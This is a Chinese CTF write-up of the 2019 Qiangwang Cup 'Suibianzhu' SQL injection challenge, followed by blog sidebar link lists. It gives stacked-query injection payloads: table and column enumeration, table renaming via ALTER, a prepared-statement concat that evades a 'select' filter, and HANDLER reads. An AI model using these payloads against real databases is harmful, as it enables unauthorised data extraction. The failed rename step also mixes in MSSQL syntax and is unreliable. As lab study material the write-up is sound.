强网杯2019随便注

它说随便注,它可不是随便注入的哈

首先测试闭合环境,因为有回显,所以很快即知道了是一个单引号闭合

接下来常规操作,得到列数大概为2

1';select 2;

返回了过滤信息

于是使用show来查看库,表,列

显然,这里已经将select过滤掉,只有对这个过滤进行一个绕过才能够得到flag

接着查询表名:
1';show tables;
又发现这里有两个表名

所以考虑3个方式:

方式1:修改表名

思路:既然只输入一个值进去就能够查询,说明这里的前后,必然有表名的存在。能不能将

SQL语句增加列、修改列、删除列

增加列:
alter table tableName add columnName varchar(30)
修改列名称:
sp_rename '表名.原列名','新列名'
修改表名:
alter table old_table_name rename to new_table_name;

playload+解释:

1.查看表名:
1’;show tables;
得到两张表:
`1919810931114514`
`words` 2.查看表结构:
1';show columns from `1919810931114514`;
1';show columns from `words`;
由于图片有点长,就不粘贴了
需要注意的在表`1919810931114514`中有flag,在`words`中有id 3.修改表名:将数字表修改为其它名字
1';alter table `1919810931114514` rename to shuzi; 4.修改表名2:交换名称
1';alter table `words` rename to `1919810931114514`;alter table `shuzi` rename to `words`;sp_rename 'words.flag','id';
为什么这一句这么长?
因为查询的是words表的id,修改之后,原来的数字表中不存在id,所以要进行添加,必须在修改words的时候添加。如果不在这个时候添加,就会出现语句漏洞,而报错,就得重新开环境了。别问为什么,因为错了很多次。

结果报错了:

那看来不能修改表名。俺这里是真的不行了,建议看看其他大佬的。

方法2:预处理

1';set @sql=concat('s','elect * from 1919810931114514');PREPARE pre FROM @sql;EXECUTE pre;--+

MySQL的SQL预处理(Prepared) - GeaoZhang - 博客园 (cnblogs.com))

方法3:handler

利用其他命令:

handler table open;handler table read first;	#打开表,读取

-1';handler `words` open;handler `words` read first;#
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

MySQL5.7手册handler使用方法

最新文章

  1. Oracle RAC 更换存储实验
  2. 你真的会玩SQL吗?实用函数方法汇总
  3. 【学习篇:他山之石,把玉攻】jquery实现调用webservice
  4. Day Three(Beta)
  5. NOIp 2006 作业调度方案 Label:坑 模拟(tyvj你不给我ac,我就把名字献给附中oj)
  6. 深入理解Azure自动扩展集VMSS(3)
  7. C++实现的控制台-贪吃蛇
  8. web前端开发初学者必看的学习路线(附思维导图)
  9. JavaScript的function参数的解释
  10. assert断言
  11. EBS接口表关系概览(部分)
  12. Vue 实现网易云音乐 WebApp
  13. 使用jekyll和Github搭建个人博客
  14. [UnityShader效果]01.Mask
  15. Linux文件系统及文件属性
  16. Django时区的解释
  17. linux ping命令
  18. C++ namespace的用法
  19. S4 对象系统
  20. Appium简介和初步使用520-1

热门文章

  1. conky配置(附配置项作用解释)
  2. java 常用的jar包下载地址
  3. JDK中内嵌JS引擎介绍及使用
  4. 18V转5V,15V转5V的LDO和DC芯片方案
  5. [数据结构]哈希拉链法化解冲突+ASL计算
  6. ping localhost时出现::1的原因以及解决办法
  7. Vm无法连接到虚拟机,请确保您有权限运行该程序、访问该程序使用的所有目录以及访问所有临时文件目录,未能将管道连接到虚拟机:所有的管道范例都在使用中解决方法
  8. python 之 random.sample() 报ValueError: Sample larger than population or is negative
  9. cs231n__3. LostFunction
  10. [OpenCV实战]14 使用OpenCV实现单目标跟踪